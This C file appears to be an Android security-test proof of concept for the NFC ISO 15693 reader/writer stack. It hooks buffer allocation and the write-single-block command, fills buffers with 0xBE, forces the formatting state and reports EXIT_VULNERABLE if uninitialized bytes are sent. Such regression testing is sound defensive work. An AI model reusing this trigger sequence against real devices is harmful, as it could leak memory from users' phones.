1 /*
2  * Copyright (C) 2020 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 #include <stdlib.h>
18 #include "../includes/common.h"
19 #include "../includes/memutils.h"
20 
21 char enable_selective_overload = ENABLE_NONE;
22 bool kIsVulnerable = false;
23 
24 // This PoC is only for 64-bit builds
25 #if _64_BIT
26 #include <dlfcn.h>
27 #include <nfc_api.h>
28 #include <nfc_int.h>
29 #include <rw_int.h>
30 #include <tags_defs.h>
31 #define DEFAULT_VALUE 0xBE
32 #define RW_I93_FORMAT_DATA_LEN 8
33 
34 // borrowed from rw_i93.cc
35 extern tRW_CB rw_cb;
36 extern tNFC_CB nfc_cb;
37 void rw_init(void);
38 tNFC_STATUS rw_i93_select(uint8_t *p_uid);
39 
40 bool kIsInitialized = false;
41 void *kVulnPtr = nullptr;
42 uint16_t kVulnSize = 0;
43 
44 static tNFC_STATUS (*real_rw_i93_send_cmd_write_single_block)(uint16_t block_number,
45                                                               uint8_t *p_data) = nullptr;
46 
47 static void *(*real_GKI_getbuf)(uint16_t size) = nullptr;
48 static void (*real_GKI_freebuf)(void *ptr) = nullptr;
49 
init(void)50 void init(void) {
51     real_rw_i93_send_cmd_write_single_block =
52             (tNFC_STATUS(*)(uint16_t, uint8_t *))dlsym(RTLD_NEXT,
53                                                        "_Z34rw_i93_send_cmd_write_single_blocktPh");
54     if (!real_rw_i93_send_cmd_write_single_block) {
55         return;
56     }
57 
58     real_GKI_getbuf = (void *(*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
59     if (!real_GKI_getbuf) {
60         return;
61     }
62 
63     real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
64     if (!real_GKI_freebuf) {
65         return;
66     }
67 
68     kIsInitialized = true;
69 }
70 
GKI_getbuf(uint16_t size)71 void *GKI_getbuf(uint16_t size) {
72     if (!kIsInitialized) {
73         init();
74     }
75     void *ptr = nullptr;
76     if ((size == I93_MAX_BLOCK_LENGH) || (size == RW_I93_FORMAT_DATA_LEN)) {
77         ptr = malloc(size);
78         memset(ptr, DEFAULT_VALUE, size);
79         kVulnPtr = ptr;
80         kVulnSize = size;
81     } else {
82         ptr = real_GKI_getbuf(size);
83     }
84     return ptr;
85 }
86 
GKI_freebuf(void * ptr)87 void GKI_freebuf(void *ptr) {
88     if (!kIsInitialized) {
89         init();
90     }
91     if (ptr == kVulnPtr) {
92         free(ptr);
93     } else {
94         real_GKI_freebuf(ptr);
95     }
96 }
97 
rw_i93_send_cmd_write_single_block(uint16_t block_number,uint8_t * p_data)98 size_t rw_i93_send_cmd_write_single_block(uint16_t block_number, uint8_t *p_data) {
99     if (!kIsInitialized) {
100         init();
101     }
102     if (p_data == kVulnPtr) {
103         for (int n = 0; n < I93_MAX_BLOCK_LENGH; ++n) {
104             if (p_data[n] == DEFAULT_VALUE) {
105                 kIsVulnerable = true;
106                 break;
107             }
108         }
109     }
110     return real_rw_i93_send_cmd_write_single_block(block_number, p_data);
111 }
112 
113 #endif /* _64_BIT */
114 
main()115 int main() {
116 // This PoC is only for 64-bit builds
117 #if _64_BIT
118     enable_selective_overload = ENABLE_ALL;
119     tRW_I93_CB *p_i93 = &rw_cb.tcb.i93;
120 
121     GKI_init();
122     rw_init();
123 
124     uint8_t p_uid = 1;
125     if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
126         return EXIT_FAILURE;
127     }
128 
129     tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
130     tNFC_CONN_EVT event = NFC_DATA_CEVT;
131     p_i93->sub_state = RW_I93_SUBSTATE_CHECK_READ_ONLY;
132 
133     tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
134     if (!p_data) {
135         return EXIT_FAILURE;
136     }
137 
138     p_data->data.p_data = (NFC_HDR *)GKI_getbuf(sizeof(uint8_t) * 16);
139     if (!(p_data->data.p_data)) {
140         free(p_data);
141         return EXIT_FAILURE;
142     }
143 
144     (p_data->data.p_data)->len = I93_MAX_BLOCK_LENGH;
145     p_i93->state = RW_I93_STATE_FORMAT;
146     p_i93->block_size = 7;
147     p_data->status = NFC_STATUS_OK;
148 
149     p_cb->p_cback(0, event, p_data);
150 
151     free(p_data);
152     enable_selective_overload = ENABLE_NONE;
153 #endif /* _64_BIT */
154     return kIsVulnerable ? EXIT_VULNERABLE : EXIT_SUCCESS;
155 }
156